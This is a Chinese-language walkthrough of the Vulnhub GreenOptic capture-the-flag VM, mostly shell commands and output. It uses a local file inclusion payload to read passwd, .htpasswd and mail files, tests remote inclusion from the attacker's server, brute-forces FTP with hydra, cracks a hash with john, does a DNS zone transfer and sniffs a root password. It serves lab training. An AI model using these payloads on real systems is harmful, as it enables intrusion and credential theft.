主頁 >  其他 > Vulnhub之GreenOptics靶機詳細測驗程序

Vulnhub之GreenOptics靶機詳細測驗程序

2023-04-30 07:41:20 其他

GreenOptics

識別目標主機IP地址

─(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                              
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:2b:10:e6      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.254  08:00:27:31:b2:9c      1      60  PCS Systemtechnik GmbH       

利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.254

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-28 20:25 EDT
Nmap scan report for inplainsight (192.168.56.254)
Host is up (0.00039s latency).
Not shown: 65377 filtered tcp ports (no-response), 153 filtered tcp ports (host-prohibited)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 462032edf07411edfda7a417abf6f021 (RSA)
|   256 b6fb6410390ef9be8b5ad0d2413e6768 (ECDSA)
|_  256 24270bc9355f277e1a8273e069cc0f96 (ED25519)
53/tcp    open  domain  ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
| dns-nsid: 
|_  bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6
80/tcp    open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: GreenOptic
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
10000/tcp open  http    MiniServ 1.953 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=utf-8).
|_http-server-header: MiniServ/1.953
MAC Address: 08:00:27:31:B2:9C (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.73 seconds

NMAP掃描結果表明目標主機有5個開放埠:21(ftp)、22(ssh)、53(dns)、80(http)、10000(http)

獲得Shell

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ curl http://192.168.56.254:10000/                                                             
<h1>Error - Document follows</h1>
<p>This web server is running in SSL mode. Try the URL <a href='https://websrv01.greenoptic.vm:10000/'>https://websrv01.greenoptic.vm:10000/</a> instead.</p>

說明需要添加主機記錄到/etc/hosts檔案:

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ sudo vim /etc/hosts                                        
[sudo] password for kali: 
                                                                                                                              
┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ cat /etc/hosts                   
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.254  websrv01.greenoptic.vm

再次訪問:

https://websrv01.greenoptic.vm:10000/

回傳頁面為用戶登錄界面,10000埠的資訊收集暫時告一段落,

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ nikto -h http://192.168.56.254                                                                     
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        80
+ Start Time:         2023-04-28 20:35:07 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Retrieved x-powered-by header: PHP/5.4.16
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8724 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-04-28 20:36:00 (GMT-4) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

nikto沒有得到80埠有價值的資訊,

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              txt,sh,php,js,html
[+] Timeout:                 10s
===============================================================
2023/04/28 20:39:13 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 17119]
/.html                (Status: 403) [Size: 207]
/img                  (Status: 301) [Size: 234] [--> http://192.168.56.254/img/]
/account              (Status: 301) [Size: 238] [--> http://192.168.56.254/account/]
/css                  (Status: 301) [Size: 234] [--> http://192.168.56.254/css/]
/js                   (Status: 301) [Size: 233] [--> http://192.168.56.254/js/]
/LICENSE.txt          (Status: 200) [Size: 17128]
/statement.html       (Status: 200) [Size: 6687]
/.html                (Status: 403) [Size: 207]
Progress: 1321725 / 1323366 (99.88%)===============================================================
2023/04/28 20:41:18 Finished
===============================================================
                                                               

訪問/account,回傳是另一個用戶登錄,

http://192.168.56.254/account/index.php?include=cookiewarning

但是注意到URL,此處可能存在本地檔案包含漏洞,

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ curl http://192.168.56.254/account/index.php?include=../../../../etc/passwd       
<!DOCTYPE html>
<html lang="en">

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
sam:x:1000:1000::/home/sam:/bin/bash
terry:x:1001:1001::/home/terry:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
alex:x:1002:1002::/home/alex:/bin/bash
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:997:993:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
monitor:x:1003:1003::/home/monitor:/bin/bash
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin

</body>
</html>


經過測驗,目標頁面確實存在本地檔案包含漏洞,那接下來的任務就是如何利用該漏洞獲得shell了

在Kali Linux上本地啟動http.server(可以任意創建一個文本檔案用于測驗),然后訪問以下URL:

http://192.168.56.254/account/index.php?include=http://192.168.56.206:8000/test.txt

從結果來看目標主機不存在遠程檔案包含漏洞,接下來看是否可以獲取用戶SSH私鑰檔案,

逐一測驗各個用戶(sam, terry, alex, monitor)家目錄下/.ssh/id_rsa檔案是否存在,如:

http://192.168.56.254/account/index.php?include=../../../../home/monitor/.ssh/id_rsa

經過測驗沒有獲取任何SSH私鑰檔案,

接下來看是否可以破解這些用戶的FTP密碼

將所有普通用戶生成用戶字典:

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ cat user.dict                                                              
sam
terry
alex
monitor

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ hydra -L user.dict -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.254  -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-28 21:56:28
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 57377596 login tries (l:4/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://192.168.56.254:21/

沒有破解出密碼,

因為作者給出明顯的提示,域名是websrv01.greenoptic.vm,除了websrv01有其他子域名

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ dig @192.168.56.254 greenoptic.vm axfr

; <<>> DiG 9.18.8-1-Debian <<>> @192.168.56.254 greenoptic.vm axfr
; (1 server found)
;; global options: +cmd
greenoptic.vm.          3600    IN      SOA     websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
greenoptic.vm.          3600    IN      NS      ns1.greenoptic.vm.
ns1.greenoptic.vm.      3600    IN      A       127.0.0.1
recoveryplan.greenoptic.vm. 3600 IN     A       127.0.0.1
websrv01.greenoptic.vm. 3600    IN      A       127.0.0.1
greenoptic.vm.          3600    IN      SOA     websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
;; Query time: 4 msec
;; SERVER: 192.168.56.254#53(192.168.56.254) (TCP)
;; WHEN: Fri Apr 28 22:12:31 EDT 2023
;; XFR size: 6 records (messages 1, bytes 235)

利用dig工具發現了recoveryplan子域名,將該子域名添加到/etc/hosts檔案中:

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ sudo vim /etc/hosts                                        
[sudo] password for kali: 
                                                                                                                              
┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.254  websrv01.greenoptic.vm
192.168.56.254  recoveryplan.greenoptic.vm

訪問該子域名,需要網頁基本認證,嘗試一些弱口令失敗,因為基本認證的用戶名和密碼存在.htpasswd檔案中,看能否獲取該檔案內容

(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ curl http://192.168.56.254/account/index.php?include=../../../../../var/www/.htpasswdstaff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.

</body>
</html>


將密碼破解:

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wheeler          (?)     
1g 0:00:00:00 DONE (2023-04-29 04:29) 9.090g/s 120436p/s 120436c/s 120436C/s guess1..lorena1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

用上述用戶名和密碼訪問

該帖子中有一個dpi.zip檔案,將其下載到Kali Linux本地,而且提到:have e-mailed you the password,因此再用前面的本地檔案包含漏洞讀取郵件(發給sam的郵件):

http://192.168.56.254/account/index.php?include=../../../../../var/mail/sam
From [email protected]  Sun Jul 12 16:13:45 2020
Return-Path: <[email protected]>
X-Original-To: sam
Delivered-To: [email protected]
Received: from localhost (localhost [IPv6:::1])
	by websrv01.greenoptic.vm (Postfix) with ESMTP id A8D371090085
	for <sam>; Sun, 12 Jul 2020 16:13:18 +0100 (BST)
Message-Id: <[email protected]>
Date: Sun, 12 Jul 2020 16:13:18 +0100 (BST)
From: [email protected]

Hi Sam, per the team message, the password is HelloSunshine123


┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ unzip dpi.zip       
Archive:  dpi.zip
[dpi.zip] dpi.pcap password: 
  inflating: dpi.pcap                
                                                                                                                              
┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ ls -alh
total 148M
drwxr-xr-x   2 kali kali 4.0K Apr 29 04:36 .
drwxr-xr-x 121 kali kali 4.0K Apr 28 20:24 ..
-rw-r--r--   1 kali kali 332K Jul 12  2020 dpi.pcap
-rw-r--r--   1 kali kali  71K Apr 29 04:35 dpi.zip
-rw-r--r--   1 kali kali   38 Apr 29 04:29 hash
-rw-r--r--   1 kali kali 148M Apr 28 22:10 hydra.restore
-rw-r--r--   1 root root 1.4K Apr 28 20:28 nmap_full_scan
-rw-r--r--   1 kali kali   12 Apr 28 21:10 test.txt
-rw-r--r--   1 kali kali   23 Apr 28 21:16 user.dict

用上面本地檔案包含漏洞讀取到的密碼解壓縮dpi.zip檔案,得到dpi.pcap

利用wireshark工具打開pcap檔案,可以看到ftp的用戶名和密碼:

用戶名:alex

密碼: FwejAASD1

登錄FTP服務:

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ ftp 192.168.56.254
Connected to 192.168.56.254.
220 (vsFTPd 3.0.2)
Name (192.168.56.254:kali): alex
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||28596|).
ftp: Can't connect to `192.168.56.254:28596': No route to host
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwx------    3 1002     1002          136 Jul 12  2020 .
drwxr-xr-x    6 0        0              57 Jul 12  2020 ..
-rw-------    1 1002     1002          100 Jul 12  2020 .Xauthority
lrwxrwxrwx    1 0        0               9 Jul 12  2020 .bash_history -> /dev/null
-rw-r--r--    1 1002     1002           18 Apr 01  2020 .bash_logout
-rw-r--r--    1 1002     1002          193 Apr 01  2020 .bash_profile
-rw-r--r--    1 1002     1002          231 Apr 01  2020 .bashrc
drwxr-xr-x    2 1002     1002           41 Jul 12  2020 .wireshark
-rwx------    1 1002     1002           70 Jul 12  2020 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for user.txt (70 bytes).
100% |*********************************************************************************|    70       77.50 KiB/s    00:00 ETA
226 Transfer complete.
70 bytes received in 00:00 (54.73 KiB/s)
ftp> pwd
Remote directory: /home/alex

用相同的用戶名和密碼登錄SSH:

──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ ssh [email protected]                                        
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:FkUejrDoIcwfG8KzsYAElBrX2BbWcAHiVWnR8k0k0Kk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
[email protected]'s password: 
[alex@websrv01 ~]$ ls -alh
total 20K
drwx------. 3 alex alex 136 Jul 12  2020 .
drwxr-xr-x. 6 root root  57 Jul 12  2020 ..
lrwxrwxrwx. 1 root root   9 Jul 12  2020 .bash_history -> /dev/null
-rw-r--r--. 1 alex alex  18 Apr  1  2020 .bash_logout
-rw-r--r--. 1 alex alex 193 Apr  1  2020 .bash_profile
-rw-r--r--. 1 alex alex 231 Apr  1  2020 .bashrc
-rwx------. 1 alex alex  70 Jul 12  2020 user.txt
drwxr-xr-x. 2 alex alex  41 Jul 12  2020 .wireshark
-rw-------. 1 alex alex 100 Jul 12  2020 .Xauthority
[alex@websrv01 ~]$ cd ..
[alex@websrv01 home]$ ls -alh
total 0
drwxr-xr-x.  6 root    root     57 Jul 12  2020 .
dr-xr-xr-x. 17 root    root    244 Jul 13  2020 ..
drwx------.  3 alex    alex    136 Jul 12  2020 alex
drwx------.  2 monitor monitor  62 Jul 12  2020 monitor
drwx------.  2 sam     sam      62 Jul 12  2020 sam
drwx------.  2 terry   terry    83 Jul 12  2020 terry
[alex@websrv01 home]$ 

提權

[alex@websrv01 home]$ id
uid=1002(alex) gid=1002(alex) groups=1002(alex),994(wireshark)

發現id隸屬于wireshark組,這樣alex可以運行wireshark命令列工具dumpcap,即

用dumpcap工具抓包,抓本地環回介面的包,然后將其下載到Kali LInux本地,

利用wireshar k打開:

 AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=

將其base64解碼:

┌──(kali?kali)-[~/Vulnhub/GreenOptic]
└─$ echo 'AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=' | base64 -d
rootASfojoj2eozxczzmedlmedASASDKoj3o 

root密碼為ASfojoj2eozxczzmedlmedASASDKoj3o:

[root@websrv01 ~]# ls -alh
total 60K
dr-xr-x---.  5 root root 4.0K Jul 13  2020 .
dr-xr-xr-x. 17 root root  244 Jul 13  2020 ..
-rw-------.  1 root root 1.3K Jul 12  2020 anaconda-ks.cfg
lrwxrwxrwx.  1 root root    9 Jul 12  2020 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Dec 29  2013 .bash_logout
-rw-r--r--.  1 root root  176 Dec 29  2013 .bash_profile
-rw-r--r--.  1 root root  176 Dec 29  2013 .bashrc
-rw-r--r--.  1 root root  100 Dec 29  2013 .cshrc
drwx------.  2 root root   99 Jul 12  2020 .gnupg
-rw-------.  1 root root   45 Jul 12  2020 .lesshst
-rw-r--r--.  1 root root   32 Jul 12  2020 .monit.id
-rw-------.  1 root root  800 Apr 29 03:22 .monit.state
drwxr-----.  3 root root   19 Jul 12  2020 .pki
-rw-------.  1 root root 1.0K Jul 12  2020 .rnd
-rwx------.  1 root root  837 Jul 12  2020 root.txt
-rw-r--r--.  1 root root  129 Dec 29  2013 .tcshrc
-rw-------   1 root root 5.7K Jul 13  2020 .viminfo
drwxr-xr-x.  2 root root   41 Jul 12  2020 .wireshark
-rw-------.  1 root root   50 Jul 12  2020 .Xauthority
[root@websrv01 ~]# cat root.txt
Congratulations on getting root!

  ____                      ___        _   _      
 / ___|_ __ ___  ___ _ __  / _ \ _ __ | |_(_) ___ 
| |  _| '__/ _ \/ _ \ '_ \| | | | '_ \| __| |/ __|
| |_| | | |  __/  __/ | | | |_| | |_) | |_| | (__ 
 \____|_|  \___|\___|_| |_|\___/| .__/ \__|_|\___|
                                |_|             
  
You've overcome a series of difficult challenges, so well done!

I'm happy to make my CTFs available for free. If you enjoyed doing the CTF, please leave a comment on my blog at https://security.caerdydd.wales - I will be happy for your feedback so I can improve them and make them more enjoyable in the future.

*********
Kindly place your vote on the poll located here to let me know how difficult you found it: https://security.caerdydd.wales/greenoptic-ctf/
*********

Thanks,
bootlesshacker
[root@websrv01 ~]# 

STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551499.html

標籤:其他

上一篇:Spring RCE漏洞

下一篇:返回列表

標籤雲
其他(158322) Python(38110) JavaScript(25398) Java(18011) C(15221) 區塊鏈(8260) C#(7972) AI(7469) 爪哇(7425) MySQL(7152) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5334) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4565) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2432) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1964) Web開發(1951) HtmlCss(1929) python-3.x(1918) 弹簧靴(1913) C++(1912) xml(1889) PostgreSQL(1874) .NETCore(1857) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之GreenOptics靶機詳細測驗程序

    GreenOptics 識別目標主機IP地址 ─(kali?kali)-[~/Vulnhub/GreenOptic] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View ......

    uj5u.com 2023-04-30 07:41:20 more
  • Spring RCE漏洞

    Spring RCE漏洞 一、漏洞概況與影響 CVE編號:CVE-2022-22965 受影響范圍: Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20 JDK >=9 使用Tomcat中間件且開啟了Tomcat日志記錄的應 ......

    uj5u.com 2023-04-30 07:41:16 more
  • xss-labs靶場

    在線XSS-labs靶場:https://xssaq.com/yx/ 靶場搭建 靶場是直接使用docker搭建的 docker pull vulfocus/xss-labs 啟動靶場 docker run -p 8005:80 vulfocus/xss-labs 瀏覽器訪問IP+8005 windo ......

    uj5u.com 2023-04-30 07:40:25 more
  • Spring Cloud Gateway RCE

    Spring Cloud Gateway RCE 一、基本介紹 CVE編號:CVE-2022-22947 ?Spring Cloud Gateway是Spring中的一個API網關。其3.1.0及3.0.6版本(包含)以前存在一處SpEL運算式注入漏洞,當攻擊者可以訪問Actuator API的情況 ......

    uj5u.com 2023-04-29 07:26:50 more
  • [筆記] ELMO, BERT, GPT 簡單講解 - 李宏毅

    國內視頻地址:https://www.bilibili.com/video/BV17441137fa/?spm_id_from=333.880.my_history.page.click&vd_source=bda72e785d42f592b8a2dc6c2aad2409 1 NLP 基礎 1.1 ......

    uj5u.com 2023-04-29 07:26:19 more
  • log4j JNDI注入漏洞

    log4j JNDI注入漏洞 一、LDAP介紹 ? LDAP是一種協議,LDAP 的全稱是 Lightweight Directory Access Protocol,輕量目錄訪問協議。 二、JDBC介紹 ? JDBC是一種規范,JDBC的全稱是Java資料庫連接(Java Database con ......

    uj5u.com 2023-04-29 07:25:38 more
  • KubeSphere 社區雙周報 | 杭州站 Meetup 議題征集中 | 2023.04.1

    KubeSphere 社區雙周報主要整理展示新增的貢獻者名單和證書、新增的講師證書以及兩周內提交過 commit 的貢獻者,并對近期重要的 PR 進行決議,同時還包含了線上/線下活動和布道推廣等一系列社區動態。 本次雙周報涵蓋時間為:2023.04.14-2023.04.27。 貢獻者名單 新晉 K ......

    uj5u.com 2023-04-29 07:25:18 more
  • 閱讀文獻《DCRNet:Dilated Convolution based CSI Feedback Compr

    這篇文章的作者是廣州大學的范立生老師和他的學生湯舜璞,于2022年10月發表在 IEEE TRANSACTIONS ON VEHICULAR TECHNOLOGY。 文獻提出了一種基于**空洞卷積(Dilated Convolution)**的CSI反饋網路,即空洞信道重建網路(Dilated Ch ......

    uj5u.com 2023-04-29 07:25:00 more
  • 題目 3158: 藍橋杯2023年第十四屆省賽真題-三國游戲(貪心)

    題目描述 小藍正在玩一款游戲。游戲中魏蜀吳三個國家各自擁有一定數量的士兵X, Y, Z (一開始可以認為都為 0 )。游戲有 n 個可能會發生的事件,每個事件之間相互獨立且最多只會發生一次,當第 i 個事件發生時會分別讓 X, Y, Z 增加Ai , Bi ,Ci 。 當游戲結束時 (所有事件的發生 ......

    uj5u.com 2023-04-29 07:24:52 more
  • 全球首個開發者村啟動開村,產業聚力松山湖,共創大灣區創新高地

    摘要:由東莞松山湖管委會、東莞市工業和資訊化局與華為云共同主辦的松山湖開發者生態創新峰會暨華為開發者大賽中國區啟動儀式舉行。 打造一流創新生態,與全球開發者共贏。4月26日,由東莞松山湖管委會、東莞市工業和資訊化局與華為云共同主辦的松山湖開發者生態創新峰會暨華為開發者大賽中國區啟動儀式舉行,全國開發 ......

    uj5u.com 2023-04-29 07:24:39 more